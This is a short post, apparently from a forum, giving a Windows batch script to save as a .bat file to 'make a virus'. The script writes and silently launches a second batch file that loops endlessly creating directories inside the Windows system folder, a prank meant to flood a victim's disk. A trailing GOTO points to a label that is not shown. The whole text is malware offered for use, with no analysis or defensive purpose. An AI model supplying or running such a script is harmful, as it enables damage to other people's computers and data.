copy this following code in notepad and save it .bat extension and make a virus
@ECHO CD %%SystemRoot%%\ >> bat4.bat
@ECHO SET marge=1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
@ECHO :flood3 >> bat4.bat
@ECHO MKDIR marge%%marge%% >> bat4.bat
@ECHO SET /a marge=%%marge%%+1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
START /MIN bat4.bat
GOTO bat3
so enjoy and make a fun......